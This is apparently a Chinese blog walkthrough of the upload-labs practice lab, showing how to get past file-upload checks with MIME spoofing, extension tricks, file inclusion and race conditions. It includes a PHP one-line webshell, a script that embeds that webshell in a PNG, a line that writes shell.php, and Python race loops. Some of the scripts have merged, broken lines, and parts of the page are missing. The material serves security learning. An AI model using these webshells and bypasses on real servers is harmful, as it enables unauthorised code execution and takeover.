Pass-01(JS前端验证) 

方法一:删除JS验证 

 方法二:先上传符合要求的图片 再在burp里面修改后缀即可

Pass-02(MIME验证)

前置知识$_FILES

Pass-03(php3、phtml绕过黑名单)

Pass-04(.htaccess绕过黑名单)

 前置知识 .htaccess

思路一

 思路二

思路三

​编辑

Pass-05(.user.ini黑名单)

前置知识 .user.ini

思路一

注意:这里要修改php.ini配置文件

思路二

Pass-06(大小写绕过黑名单)

Pass-07(空格绕过黑名单)

Pass-08(点绕过黑名单)

Pass-09(::$DATA绕过黑名单)

Pass-10(点空格点绕过黑名单)

​编辑Pass-11(双写php绕过黑名单)

Pass-12(%00截断白名单)

这里就要用到0x00截断的知识

Pass-13(0x00截断白名单)

Pass-14(文件包含+图片马)

   Pass-15(文件包含+图片马)

  Pass-16(文件包含+图片马)

Pass-17(二次渲染+图片马/条件竞争)

函数介绍

imagejpeg()

说明

参数

返回值

思路一

思路二

Pass-18(条件竞争)

Pass-19(条件竞争+白名单+其他漏洞配合)

思路一

注意Apache未知后缀名解析漏洞适用 php ts 版本  

 思路二

非预期解

Pass-20(黑名单+上传路径可控)

思路一

思路二

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

   Pass-21(MIME验证+白名单+上传路径可控)

 防御手段


环境要求

若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。

配置项            配置                            描述
操作系统    Window or Linux    推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本    推荐5.2.17              其他版本可能会导致部分Pass无法突破
PHP组件    php_gd2,php_exif    部分Pass依赖这两个组件
中间件    设置Apache以moudel方式连接    

然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可

 效果如下

 阅读代码

$is_upload = false;
$msg = null;
# 判断是否点击了提交按钮
if (isset($_POST['submit'])) {
    # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
    if (file_exists(UPLOAD_PATH)) {
        # 对数据包的MIME进行校验 
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            # 拼接了../upload/xxx.xxx
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']  
            # 将上传的临时文件移动到目录../upload/xxx.xxx     
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                # 移动文件出错
                $msg = '上传出错!';
            }
        } else {
             # 不符合MIMIE类型就报错
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        # 文件路径不存在
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

用burp抓包修改conten-type即可

 

 我这里要么是403forbidden的  要么是不解析php3等文件

不知道为什么 防火墙和wd都是关闭的 搞了好久都不行

所以用了buuctf的靶场

 

nts的版本:失败 

 

 nts版本会报500 服务器内部错误

然后访问readme.php 效果如下 也可以用一句话木马

php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚

 

Pass-11(双写php绕过黑名单)

阅读代码 关键代码如下

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } 

发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名

只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空

但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符  因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php

pphphp、phphpp都可以尝试 

 

 

利用文件包含漏洞  将含有php代码的图片马当做php文件解析

文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写

这里利用get传参 将图片木马里面的代码复制过来并执行

include.php?file=upload/7920221011132540.png

没啥区别 只是换了函数  需要开启php_exif模块。 

做法和第14关相同

png

网上找的代码直接生成  直接运行php脚本自动生成png文件 然后直接上传就完事了

内含一句话木马<?=$_GET[0]($_POST[1]);?> 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,          
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./exp17.png');/*
<?=$_GET[0]($_POST[1]);?>
*/?>

访问url

http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo

jpg比较困难 这里略

思路二

条件竞争

由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件

由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码

由于他先上传 然后又原封不动的保存我们上传的文件  所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件 

但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了 

代码如下 插入到png图片中即可

<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>

所以需要一边不停用burp不停地上传 然后另一边不断的访问  访问的文件需要有写的权限 不然还是不行 还好这里靶场

访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种

import requestsurl = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

然后用burp的Intruder模块不停的发包就行了

 

两边同时运行就行了 

然后查看我们的文件夹 发现有shell.php就成功了

py脚本如下

import requestsurl = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

burp不断发包

 

 成功

 访问shell19.php

PS:其实你上传任何白名单的后缀都可以  包括图片等等 如果有时间的话我会研究一下漏洞的底层原因

 思路二

白名单+条件竞争+文件包含漏洞

通用于php的nts和ts版本 因为是文件包含

py脚本代码如下:

import requestsurl = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

剩余操作和第17、18关一样 

思路二

​​​​​​​

当然你也可以使用apache未知后缀名的解析漏洞  记得设置 phpts版本 中间件  设置Apache以moudel方式连接    

 防御手段

白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件

点赞(6) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部